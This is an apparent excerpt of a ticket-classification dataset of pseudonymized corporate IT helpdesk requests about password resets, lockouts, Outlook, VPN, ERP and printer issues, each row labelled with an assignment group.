thursday, october 13, 2016 10:37 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: ran fw: freight charge for cesco inwarehouse_tool 0159299348_x000D_ +_x000D_ +ref: sales doc 36128707_x000D_ +_x000D_ +order shipped ups ground….1 pound….shipping verified freight cost in kis is $17.78._x000D_ +inwarehouse_tool 0159299348 shows $34.68…this is incorrect._x000D_ +please advise why the system applied the much higher, incorrect freight charge to their inwarehouse_tool._x000D_ +",GRP_18 +ticket update on ticket_no0449295 ticket update on ticket_no0449295,GRP_0 +ticket update on ticket_no0449268 ticket update on ticket_no0449268,GRP_0 +ticket update on inplant_869259 ticket update on inplant_869259,GRP_0 +reset passwords for bnoupaki cpeioxdz using password_management_tool password reset. the,GRP_17 +"impact awards email from: nwqktzlx vnlqkgpb +sent: thursday, october 13, 2016 11:01 pm +to: nwfodmhc exurcwkm +subject: (phishing check?) fw: e",GRP_0 +expense report not going to correct manager expense report not going to correct manager,GRP_0 +unable to sync passwords on all accounts unable to sync passwords on all accounts,GRP_0 +password reset password reset,GRP_0 +"cannot get prtqx7318 to print on pc rqxw8517736, drivers won't load. cannot get prtqx7318 to print on pc rqxw8517736, drivers won't load.",GRP_3 +kpm issue / ie upgrade from 10 to ie11 kpm issue / ie upgrade from 10 to ie11,GRP_0 +amssm003:volume: c:\ disk is over 88% space consumed. amssm003:volume: c:\ disk is over 88% space consumed. space available: 2.2 g,GRP_12 +blank call //gso // loud noise blank call //gso // loud noise,GRP_0 +"erp password reset for user kambthryes2 ( exlbkpoj vrkoqaje ) please reset erp - password of kambthryes2 ( exlbkpoj vrkoqaje ) to „daypay3""",GRP_0 +"reset SID_39 password for jidhewlg jufskody could you please reset the password for the user olthyivectr for SID_39 in erp? he is company sales manager and his password is not working and he needs this access due the channel partner programdnty. + +",GRP_0 +ticket update on inplant_869231 ticket update on inplant_869231,GRP_0 +"need verification of proper user id xszoedmc gmhkdsnw,. approvals in purchasing are not working properly. please verify that the proper samaccountname in ad is in lowercase for rxqtvanc kthqwxvb (tegdtyyp) and ethd yhtheehey (shyheehew2). ",GRP_2 +outlook issue outlook issue,GRP_0 +"lean tracker + +received from: sdbcpvtx.hzpctsla@gmail.com + +mithyke tayjuoylor and arithel shfsako get this error when they try to open the 'add a lean event' button on their pcs. + + +[cid:image001.png@01d2255d.a4b446f0] + + +",GRP_0 +"msd - office 2013 specifically outlook outlook is very slow to respond, i'm having to manually refresh to update._x000D_ +_x000D_ +",GRP_0 +"home folder share delegation of dtheb mulhylen (mullthyed) to lpoebzsc grknswyo (marthhty) vip 1 // please usa user access to dtheb mulhylen's o:\ drive - full access + +name : lpoebzsc grknswyo +email : lpoebzsc.grknswyo@gmail.com +telephone : +summary : as you may know, dtheb mulhylen will be retiring from company on october 28th. please usa me access to her o:\ drive - full access",GRP_2 +"res: ticket_no1558759 -- register - ie rj tax code- in erp SID_34 _x000D_ +_x000D_ +received from: lokiwfhg.udkoqrcg@gmail.com_x000D_ +_x000D_ +hi all,_x000D_ +i already approved this by email, but i don't hear nothing about._x000D_ +could you please verify the status? its urgency in south_amerirtca._x000D_ +",GRP_10 +"cannot download or print drawings from erp netweaver. +summary:hello! i cannot download or print drawings from erp netweaver.",GRP_3 +outlook not updating ; crashing intermittently outlook not updating ; crashing intermittently,GRP_0 +"HostName_175: dev/SID_36data4a the space has been used to 98 %. HostName_175: dev/SID_36data4a the space has been used to 98 %._x000D_ +HostName_175: dev/SID_36data3a the space has been used to 98 %._x000D_ +",GRP_1 +ticket update on ticket_no0449233 ticket update on ticket_no0449233,GRP_0 +"mobile device activation from: sbgvrncj idfhtoqv +sent: thursday, october 13, 2016 9:02 pm +to: przcxbml vnjdghui; nwfodmhc exurcwkm +cc: jywvemun qngschtz +subject: re: synchronization iphone with outlook + +hi thsgy, +yes this option is available. +gso, +please open a ticket for this and i approve. +many ",GRP_0 +need access to assistant programdnty in nx need access to assistant programdnty in nx,GRP_2 +unable to login to collaboration_platform with email address and password unable to login to collaboration_platform with email address and password,GRP_0 +email delegation i would like to have todthyd renytrner email forwarded to myself. todthyd has accepted the vsp and i will be assuming his duties.,GRP_26 +windows account unlock windows account unlock,GRP_0 +"hpqc - initialization error trying to access hpqc _x000D_ +_x000D_ +error:_x000D_ +initialization has failed. contract your system administrator. for details, see the loader log file._x000D_ +failure details:_x000D_ +",GRP_3 +static issue on phone..interaction id : 1064826347 static issue on phone..interaction id : 1064826347,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +"unable to access ap remote or eu remote while na remote is down fjaqbgnld yukdzwxs when i try to access either one i receive the message that ""this page can't be displayed.""",GRP_0 +engineering_tool not opening engineering_tool not opening,GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +email activation on company provided device email activation on company provided device,GRP_0 +"not able to login _x000D_ +_x000D_ +received from: uypsqcbm.fqpybgri@gmail.com_x000D_ +_x000D_ +hi sir/ma'am_x000D_ +_x000D_ +refer below screenshot and help me out. urgent!_x000D_ +_x000D_ +[cid:image001.jpg@01d2258d.0SID_29acb0]_x000D_ +_x000D_ +",GRP_0 +office asking for license key office asking for license key,GRP_0 +"erp inbox, ich bin nicht im workcenter nr. 51111937 = pe_emea_fu3 = aerospace gruppe eingetragen workflow meiner gruppe für mich nicht sichtbar , nicht im workcenter nr. 51111937 = pe_emea_fu3 = aerospace gruppe eingetragen + +",GRP_13 +engineering_tool company and company not working engineering_tool company and company not working ,GRP_0 +unable to save docs on t drive. internet not working unable to save docs on t drive. internet not working,GRP_0 +"unable to open excel file from collaboration_platform name:wqxzleky uwjchqor +language: +browser:microsoft internet explorer +email:wqxzleky.uwjchqor@gmail.com +customer number: +telephone: +summary:cannot open files in collaboration_platform, get message that server isn't responding. location of files: ",GRP_0 +"circuit outage : company-na-usa-usa-anira-rtr01 is down since 10/13 at 9:58 am est site is up on backup circuit what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _________ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___10/13 at 9:58 am ___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _yes_______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"res: ticket_no1558759 -- register - ie rj tax code- in erp SID_34 + +received from: lokiwfhg.udkoqrcg@gmail.com + +hi ramdntyassthywamy, +any status on this? +",GRP_10 +msd crm popup when try to lunch outlook and outlook freezing msd crm popup when try to lunch outlook and outlook freezing ,GRP_0 +"unable to edit in collaboration_platform name : budighfl izbxvary + +browser : microsoft internet explorer + +email : budighfl.izbxvary@gmail.com + +telephone : + +summary : i cannot edit + + +",GRP_16 +ms crm emails not coming to outlook ms crm emails not coming to outlook ,GRP_40 +unable to login to ethics unable to login to ethics,GRP_0 +ticket update for-inplant_866222 ticket update for-inplant_866222,GRP_0 +secure logon does not work when try and initialize secure logon get message username or password incorrect. logged on earlier this morning and it worked fine. phone ,GRP_0 +account locked out : windows account locked out : windows ,GRP_0 +account locked. account locked.,GRP_0 +account locked account locked,GRP_0 +ticket query regarding : ticket_no0447258 ticket query regarding : ticket_no0447258,GRP_0 +unable to open outlook unable to open outlook,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +the new iphone 6s is not getting quaraintined. the new iphone 6s is not getting quaraintined.,GRP_28 +having issues with outlook having issues with outlook,GRP_19 +"i need accsess to this link. _x000D_ +_x000D_ +received from: rcmziuob.xhblozqe@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i need accses to this report._x000D_ +_x000D_ +\\HostName_702\departments\pubreports\fy17_x000D_ +[cid:image001.png@01d22559.75e00b60]_x000D_ +vielen dank_x000D_ +mit freundlichen grüßen / best ",GRP_0 +vip 2: outlook freezing. vip 2: outlook freezing.,GRP_0 +account lockout account lockout ,GRP_0 +"please update change for user ""giuliasana byhdderni"" from ""company.com to company.com"" change for user ""giuliasana byhdderni"" from ""company.com to company.com""",GRP_2 +telephony_software phone benelthyux team has bad phone connection of incomming calls. a lot of crackling and interruption.,GRP_7 +probleme mit lan am rechner \ we_wu113 \ essa \wrcktgbd wzrgyunp probleme mit lan am rechner \ we_wu113 \ essa \wrcktgbd wzrgyunp,GRP_24 +pdf dateien gehen nicht auf pdf dateien gehen nicht auf,GRP_33 +"unable to re print inwarehouse_tool _x000D_ +_x000D_ +received from: rxoynvgi.ntgdsehl@gmail.com_x000D_ +_x000D_ +hi it team_x000D_ +_x000D_ +kindly please assist as we unable to reprint inwarehouse_tool in ecs system._x000D_ +_x000D_ +the system just show below attached only without any other detail._x000D_ +_x000D_ +[cid:image002.png@01d22583.967eedd0]_x000D_ +_x000D_ +[cid:image001.png@01d22583.4d17baf0]_x000D_ +_x000D_ +_x000D_ +hydstheud mddwwyleh_x000D_ +operation supervisor_x000D_ +company distribution services of asia pte ltd_x000D_ +( asia regional distribution centre)_x000D_ +5 changi south lane_x000D_ +# 04-01, c & p building_x000D_ +apac 486045_x000D_ +t : +65 6379 4571_x000D_ +f : +65 6546 5504_x000D_ +m : +65 9459 1605_x000D_ +email : rxoynvgi.ntgdsehl@gmail.com",GRP_19 +cannot find workgroups in telephony_software i cannot find 2/de/fd/gso/de/v as well as 2/de/fd/gso/de/c in telephony_software. i had access until atleast last week and possibly on monday too.,GRP_7 +"wireless mouse is missing from desk wireless mouse is missing from desk, need new replaced wireless mouse.",GRP_3 +"msd -unable to sync all the contact information from outlook to crm unable to sync all the contact information from outlook to crm. the address and notes fields are not synced to crm as there are more then 4500 contacts its not possible to put the company name for each customer manually + +contact number- ",GRP_22 +probleme mit portal \ user : gogtyekthyto \vzqomdgt jwoqbuml probleme mit portal \ user : gogtyekthyto \vzqomdgt jwoqbuml,GRP_24 +"re: inc1547248- logging into mii supervisor dashbankrd results in error pop-up.. 'internal server error' _x000D_ +_x000D_ +received from: wsabzycm.pbhrmnyz@gmail.com_x000D_ +_x000D_ +hi stefyty,_x000D_ +_x000D_ +recent we have moved some changes to improve the performance._x000D_ +can you please check if you are still getting the same issue._x000D_ +_x000D_ +",GRP_41 +"job Job_593 failed in job_scheduler at: 10/13/2016 04:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/13/2016 04:58:00",GRP_8 +"automatical stock transfers shows wrong (tool late) delivery date; route the ticket forward to supply_chain team please hello,_x000D_ +_x000D_ +we have again the problem with wrong (too late) automaticaly created stock stransfers. the delivery date is too late._x000D_ +#4195579 need at plant_223 on 15 nov., 5019339763/00001 shows delivery date 17 nov._x000D_ +the parts are available at plant_105._x000D_ +why dosen't show the stock transfer the wrong delivery date?_x000D_ +_x000D_ +we had the same problem with #4457992 - 5019250478_x000D_ +the issue needs to solved a.s.a.p._x000D_ +",GRP_6 +"ethics training course _x000D_ +_x000D_ +received from: aunkpchr.qsyvrmjl@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +every quarter when the course has been added, it does not appear in my current learning._x000D_ +i'll have to find out the course name from my team mates and check in the ""browse"" option._x000D_ +could you please help to resolve this issue permanently.._x000D_ +_x000D_ +best ",GRP_23 +drucker em93 macht willkürlich flecken auf den ausdrucken/kopien !!! drucker em93 macht willkürlich flecken auf den ausdrucken/kopien !!!,GRP_42 +"company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 power supply issue. internal power supply - on company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 (68.20.26.7986) is showing faulty_x000D_ +_x000D_ +_x000D_ +company-eu-deu-germany-e-b2-f2-new->sh env all_x000D_ +fan is ok_x000D_ +temperature is ok_x000D_ +power is faulty_x000D_ +rps is not present _x000D_ +",GRP_4 +"computer check + +received from: qhyoiwls.uynrhiva@gmail.com + +hi, + +please check my computer – excel runs slowly ! + +[cid:image001.png@01d22538.3ed1aa50] +[cid:image002.png@01d22539.ccb60450] + +[cid:image003.png@01d2253a.835b8630] + +qhyoiwls uynrhiva +analyst planning & reporting +qhyoiwls.uynrhiva@gmail.com + + +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_28 +reset the password for xaykwtrf amlswjfr on erp / produktion / erp reset the password for xaykwtrf amlswjfr on erp / produktion / erp,GRP_0 +probleme mit lan \youfzmgp xvysrnmb probleme mit lan \youfzmgp xvysrnmb,GRP_24 +"no vpn connection my employee p. financial. name:jvxtfhkg heptuizn +language: +browser:microsoft internet explorer +email:jvxtfhkg.heptuizn@gmail.com +customer number: +telephone: +summary:no vpn connection my employee p. financial. + +__________________ + +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +dwfiykeo argtxmvcumar3 + hello + is it petrghada financial? +jvxtfhkg heptuizn + no it's pethrywr financial +dwfiykeo argtxmvcumar3 + ok +jvxtfhkg heptuizn + can you call him, it's urgent + +dwfiykeo argtxmvcumar3 + ok will do it +jvxtfhkg heptuizn + ",GRP_0 +"答复: ticket_no1559458 : wireless guest access- hr_tool trainer + +received from: krnzfoct.mnjbuedp@gmail.com + +hi , + +well received. + +",GRP_0 +"wifi connection is intermittent (getting frequently disconnected) in india. wifi connection is intermittent (getting frequently disconnected) in india. +contact : +intranet is getting affected. +",GRP_8 +"[erp] reroute production order printer mp74 to mp82 production order printer mp74 (10.16.77.212) needs to be routed to mp82 (10.16.77.222)_x000D_ +_x000D_ +-> all erp systems including drawings etc._x000D_ +_x000D_ +unable to find printer mp82 (in ticketing_tool, ad and erp_print_tool)_x000D_ +rerouted priter with name prqmp82 did not work.",GRP_5 +":network problem in india office telephone: +summary:network problem in india + +_______________ + +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +dwfiykeo argtxmvcumar3 + hello, ",GRP_4 +reset passwords for usa feathers using password_management_tool password reset. the,GRP_17 +"missing punches hello, there are punches out missing in erp for the employees that ended night shift today in the morning. location: germany, germany machining. please, help.",GRP_52 +"upgrade pc ramdnty i raised a ticket to upgrade the system ramdnty. can mine be upgrade to 8gb? +assign to sridthshar herytur.",GRP_19 +"ticket_no1559458 : wireless guest access- hr_tool trainer + +received from: aorthyme.rnsuipbk@gmail.com + +hi + +please find below the credentials of guest access for annyhtie zhothu. + +[cid:image001.jpg@01d2254c.ce0f3110] + +",GRP_0 +"_x000D_ +this link can not be open _x000D_ +this link can not be open",GRP_0 +"grir issues plant_322 for ice alt. routes from usa email from maryhtutina bauuyternfeyt to athyndy eartyp to review alternate route shipments from 1204 from us warehouse and discrepancy in postings. + +5018873735 00001: inwarehouse_tool has been cancelled, please cancel gr as well, no delivery note +5018080021 00001: inwarehouse_tool has been cancelled, please cancel gr as well, no delivery note +5019195890 00001: inwarehouse_tool has been cancelled, please cancel gr as well, no delivery note +",GRP_53 +"account blocked _x000D_ +_x000D_ +received from: kmzwjdsb.ejgnafcy@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +could you help me unlock my account._x000D_ +i can not get through _x000D_ +",GRP_0 +"datenübertragung nicht möglich! keine datenübertragung von pc auf maschine möglich! + +werk: plant_107 +workcenter: ebm052 +maschine: 45162335 /03 +pc: eemwx004016 +programdntym: winprodnc + +ansprechpartner: r. wunthyder",GRP_42 +"ess portal _x000D_ +_x000D_ +received from: ygkzwsud.cvjgkxws@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am unable to log in to bex website through ess portal. please help._x000D_ +_x000D_ +",GRP_0 +"current learning - ethics _x000D_ +_x000D_ +received from: bcxpeuko.utorqehx@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +oct is the month where we usually gets new ethics training course._x000D_ +this time, i didn't receive any ethics mail and also my current learning is empty. but few of my colleagues got the mail to complete the course._x000D_ +is it that this time, i don't need to complete the course?_x000D_ +_x000D_ +",GRP_23 +"电脑无法打开网页。 张工您好！_x000D_ +我的电脑连接公司网络无法使用（但163等正常），信息如下：（crm无法登陆，vpn无法连接，ethics无法连接，但邮件可以正常接收）_x000D_ +如何解决？_x000D_ + _x000D_ +_x000D_ +",GRP_31 +"production order cannot be released - 115991131 hello it,_x000D_ +_x000D_ +production order cannot be released - 226002242 - ""cer1 is active"" ""the business ta cannot be carried out"". _x000D_ +please see attached screenshot._x000D_ +_x000D_ +please solve aerp. shipment has to be done today._x000D_ +_x000D_ +",GRP_45 +"usa warehouse:long distance service down from: mdghayi redytudy +sent: wednesday, october 12, 2016 11:02 am +to: zarlgjes nxjvzcta; datacenter +cc: tiyhum kuyiomar +subject: re: long distance service down + +hello dac, + +there is an alarm on one of circuit id dhec027838 at usa. please can you open a ticket with global_telecom_1 and co-ordinate. + +",GRP_8 +account locked in ad account locked in ad,GRP_0 +"payment method change from ""t"" to ""c"" for all employee vendors in 5323 & 5330 +from: gnasmtvx cwxtsvkm +sent: wednesday, october 12, 2016 12:51 pm +to: nathyresh gayhtjula +cc: rwuqydvo anecdfps; pradyhtueep yyufs +subject: re: apt run + +hi nathyresh, + +we request you to change the payment method as c instead of t for all the employee masters. + +",GRP_10 +anti-fmxcnwpu tcwrdqboinition is not updated from long time anti-fmxcnwpu tcwrdqboinition is not updated from long time. attached the screenshot.,GRP_50 +"job Job_1329 failed in job_scheduler at: 10/13/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1329 failed in job_scheduler at: 10/13/2016 00:11:00",GRP_9 +"pricing condition issue in oa _x000D_ +_x000D_ +received from: rayhtukumujar.br2@company.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +in the recent past, we are facing an issue of pricing condition not getting changed while booking the order._x000D_ +_x000D_ +though we override the pricing condition with znr, the pricing condition remains as zlp1 only._x000D_ +_x000D_ +for example, in oa 36131265, the price was over written with znr condition with a nett price of rs. 5726.54. but still pricing condition is shown as zlp1 with standard discount._x000D_ +_x000D_ +what we have observed is whenever there are sub delivery items created due to non-availability of stock, this issue crops up. that too, after the challan is created, it becomes too difficult to make any changes._x000D_ +_x000D_ +we request you to look into this immediately, assign sev2 ticket and resolve the same._x000D_ +_x000D_ +await your feedback._x000D_ +_x000D_ +ಕೃತಜ್ಞತೆಗಳು / with ",GRP_13 +"need network connection for alicona edgemaster at pu5 _x000D_ +_x000D_ +received from: vtwxaefm.ljisafue@gmail.com_x000D_ +_x000D_ +it helpdesk,_x000D_ +_x000D_ +please provide network connection for alicona edgemaster hone measuring equipment installed in pu5._x000D_ +_x000D_ +this is necessary for software updating and also for shatryung relevant information with global team._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_19 +"the printer is defaulting to the usa printer for delivery notes. need to take the default out so it defaults to from: kryuisti turleythy +sent: wednesday, october 12, 2016 11:30 pm +to: nwfodmhc exurcwkm +subject: rakthyesh fw: delivery note for bakyhrer huhuyghes + +please see string of emails on an issue that is happening with the transfer of shipping materials that used to be shipped from usa to now being shipped from usa and usa. the printer is defaulting to the usa printer for delivery notes. need to take the default out so it defaults to the shipping plant. please let me know if you need more information. i do not know what is triggering it to print from usa printer. having same issue in usa. + +kryuisti turleythy +usa site business manager +hybiaxlk.lawptzir@gmail.com + +from: kryuisti turleythy +sent: wednesday, october 12, 2016 10:39 am +to: ebpwcfla qoxvpbam +cc: gmnhjfbw farnwhji +subject: re: delivery note for bakyhrer huhuyghes + +so, the issue is that for some reason it is defaulting to a usa printer for the delivery note. what is your printer number and i will send it to the printer? for future orders, before you save the delivery, go to extradelivery output header and change the printer in communication method. + +kryuisti turleythy +usa site business manager +hybiaxlk.lawptzir@gmail.com + + +from: ebpwcfla qoxvpbam +sent: wednesday, october 12, 2016 9:07 am +to: kryuisti turleythy +subject: re: delivery note for bakyhrer huhuyghes + +item # 6970497 so# 36119918 line 490. picking request #6671926 delivery# 9169565916 + +from: kryuisti turleythy +sent: wednesday, october 12, 2016 10:41 am +to: ebpwcfla qoxvpbam +subject: re: delivery note for bakyhrer huhuyghes + +can you give me an order number? + + +kryuisti turleythy +usa site business manager +hybiaxlk.lawptzir@gmail.com + +from: ebpwcfla qoxvpbam +sent: wednesday, october 12, 2016 8:20 am +to: kryuisti turleythy +subject: delivery note for bakyhrer huhuyghes + +hi kryuisti, + + i'm trying to ship out an order for bakyhrer huhuyghes , i have a picking request but i am unable to print out a delivery note. +is there any way you can help me with this kenny does not know. + +",GRP_18 +"folder missing + +received from: munxvfhw.texsbopi@gmail.com + +dear sir, + +pkj folder is missing in u:guest: u is HostName_95 + +prakaythsh kujigalore +senior manager, engineering +munxvfhw.texsbopi@gmail.com + +",GRP_0 +windows account frequently getting locked. windows account frequently getting locked.,GRP_0 +"job Job_568 failed in job_scheduler at: 10/12/2016 22:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_568 failed in job_scheduler at: 10/12/2016 22:33:00",GRP_8 +"job bkwin_HostName_770_inc failed in job_scheduler at: 10/12/2016 22:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 5 _x000D_ + failed disk agents ........... 1 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 6 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 0 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 39418 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 1 _x000D_ +_x000D_ +_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 10/12/2016 22:13:00",GRP_8 +no power on the laptop no power on the laptop,GRP_0 +frequent account lockout on windows frequent account lockout on windows ,GRP_2 +HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 90% space consumed. space available: 3.0 g HostName_894 : volume: c:\ label:sys-HostName_894 28385a7b is over 90% space consumed. space available: 3.0 g,GRP_39 +ticket update on ticket_no0448847 ticket update on ticket_no0448847,GRP_0 +engineering_tool not working engineering_tool not working ,GRP_0 +need help resetting one of my team members hub/windows password. need help resetting one of my team members hub/windows password.,GRP_0 +"password reset instruction +summary:hello i need to reset one of my team members password. his name is mzyejqvd xzbtcfar, user id gilbrmuyt",GRP_0 +ticket update on ticket_no0448893 ticket update on ticket_no0448893,GRP_0 +"please give schoegdythu read/write access to all files under \\HostName_768\globalmfg\amerirtcas manufacturing\infrastructure\ please give schoegdythu read/write access to all files under \\HostName_768\globalmfg\amerirtcas manufacturing\infrastructure\ +mu # is ",GRP_34 +"please give gethyoff schoemerujt (schoegdythu) the same access to server HostName_776 as me (mccoyimgs) please give gethyoff schoemerujt (schoegdythu) the same access to server HostName_776 as me (mccoyimgs) +my phone is ",GRP_12 +skype does not work skype will for load. phone . same problem as last week.,GRP_0 +ticket update on inplant_868930 ticket update on inplant_868930,GRP_0 +unable to open emails in outlook unable to open emails in outlook,GRP_0 +access to hr_tool denied access to hr_tool denied,GRP_2 +no access to engineering_tool : see attachment no access to engineering_tool : see attachment,GRP_25 +vpn shut down vpn shut down when i was clocking back in for lunch. phone said i had bee gone for 59 minutes. no warning.,GRP_0 +outlook doesn't start-up on my tablet dell latitude 7350 outlook doesn't start-up on my tablet dell latitude 7350,GRP_0 +"it notices on the hub do not expire on the scheduled expiry date it notices on the hub do not expire on the scheduled expiry date. _x000D_ +this notice should have expired on 10-10 but is still actively displayed today: _x000D_ +this notice should've expired on 10/7 - _x000D_ +_x000D_ +please review other notices as well_x000D_ +_x000D_ +",GRP_16 +"calls are coming to me but rerouting and showing a missed call calls are coming to me but rerouting and showing a missed call + +telephony_software ext : +",GRP_7 +"erp SID_37 i am able to access SID_34 and SID_39, however i can't access SID_37 for some reason. i am getting an error that states: account access not within validity date. ",GRP_2 +" application erp - mii on node HostName_340 & HostName_339 is down"" application erp - mii on node HostName_340 & HostName_339 is down"" ",GRP_14 +ms office : word issue ms office : word issue ,GRP_0 +"access to SID_1 _x000D_ +_x000D_ +received from: combxind.bvptuqxr@gmail.com_x000D_ +_x000D_ +good afternoon_x000D_ +would you please check this error in SID_1_x000D_ +user revelj_x000D_ +erp /SID_1_x000D_ +also, i need reset my password in SID_1?_x000D_ +this is the error_x000D_ +[cid:image001.png@01d2247c.6249e400]_x000D_ +best ",GRP_0 +unable to login to collaboration_platform unable to login to collaboration_platform,GRP_0 +"unable to access company, password expired unable to access company, password expired",GRP_0 +danyhuie deyhtwet - a plant manager - keeps showing up on hr skype meetings. danyhuie deyhtwet - a plant manager - keeps showing up on hr skype meetings.,GRP_26 +"wifi + +received from: nbdljruw.axcrspyh@gmail.com + +hallo zusammen, + +es werden bei mir keine wifi verbindungen mehr angezeigt. +zuhause kann ich mich nicht mehr einwählen. + + +bitte um hilfe. + +danke! + +mit freundlichen grüßen / best ",GRP_0 +client's pc is rebooting randomly and also having office software issues client's pc is rebooting randomly and also having office software issues,GRP_3 +unable to see my previous pay slips unable to see my previous pay slips,GRP_0 +"wifi not working in pennsylvania (wireless issue at waynesboro) wifi not working in pennsylvania_x000D_ +_x000D_ +access point not working . work stoppage issue._x000D_ +tried calling christgry twice ..reached warehouse_tool mail. left brief message._x000D_ +dialed again. not able to reach christgry .",GRP_4 +vpn shut down i was fixing an order. i went to answer a question on skype. i noticed that skype lost connection. then i noticed the vpn was shutting down. i didn't see a pop up note on vpn before the shut down.,GRP_0 +vpn connectivity issues knocked off vpn connection again. i wasn't doing anything in particular. just finished a call. ,GRP_2 +"ultramdntyet wrongful inwarehouse_tool, so# 24897522 _x000D_ +_x000D_ +received from: vflagort.xyotrhlf@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i just sent a request but found more data. so i received the attached email asking to look into the issue. when i look at the inwarehouse_tool (0159274337) referenced in the email, i saw the sample line was charged at cost when it shouldn't have been. when i go into the order, step on the sample line, go to document flow, i see a completely different inwarehouse_tool number than what is referenced. the inwarehouse_tool highlight below is for no cost, as it should be._x000D_ +[cid:image001.png@01d22471.b60d3930]_x000D_ +_x000D_ +when i look at the document flow for the entire order, i see both inwarehouse_tools._x000D_ +[cid:image002.png@01d22472.10904e10]_x000D_ +_x000D_ +please help me understand why the customer was inwarehouse_toold twice for the sample, and why the second inwarehouse_tool is at cost when it should not be. let me know what i need to do on my end to help with this, please._x000D_ +_x000D_ +for record, the inwarehouse_tool sent on 9/19 is correct._x000D_ +_x000D_ +best ",GRP_13 +"wrongful inwarehouse_tool _x000D_ +_x000D_ +received from: vflagort.xyotrhlf@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +our customer, ultramdntyet, was inwarehouse_toold for a sample line that was entered as a no charge sample in erp. i will be issuing a credit to the customer for the amount charged, but can you tell me why it was inwarehouse_toold to begin with?_x000D_ +_x000D_ +[cid:image001.png@01d2246f.b6969f60]_x000D_ +_x000D_ +best ",GRP_13 +"vpn shut down while searching for quotes in erp, vpn shut down. i didn't see a pop up note. the first clue with problem was that erp shut down, then i saw that vpn connection had shut down.",GRP_0 +unable to connect to companysecure unable to connect to companyssecure,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +"vip zip file + +received from: jwhmqnye.xlpvdwre@gmail.com + +i have a large zip file that i want to download and add to a folder on HostName_771 (intellectual property). when i unzip the file and try to save to HostName_771 it says that there is not enough space. + +lryturhyyth ryhunan +chief counsel for IP +jwhmqnye.xlpvdwre@gmail.com +",GRP_12 +need to find old emails on outlook. need to find old emails on outlook.,GRP_0 +ticket update on ticket_no0444091 ticket update on ticket_no0444091,GRP_0 +nachdem ich outlook geöffnet habe und eine e-mail angeklickt habe kommt ein blauer kreis der sich dreht und ich nichts mehr machen. bitte dringend um hilfe. meine mobile tel. nr. ,GRP_0 +"benefits app on ssp _x000D_ +_x000D_ +received from: fpbmtxei.jtqbcnfs@gmail.com_x000D_ +_x000D_ +i do not have the benefits solver application on my single sign on portal. can someone please assist me with getting this added? ",GRP_0 +"outlook not working : crm issue outlook not working, emails not opening : crm issue ",GRP_0 +locked out of his system locked out of his system,GRP_0 +erp SID_34 password reset erp SID_34 password reset ,GRP_0 +"tmunkaiv ockthiyj _x000D_ +_x000D_ +received from: nlgkmpaq.outrnkca@gmail.com_x000D_ +_x000D_ +all,_x000D_ +_x000D_ +_x000D_ +_x000D_ +i need to get a log in created for our new sr. production specialist tmunkaiv ockthiyj._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +erp password reset SID_34 erp password 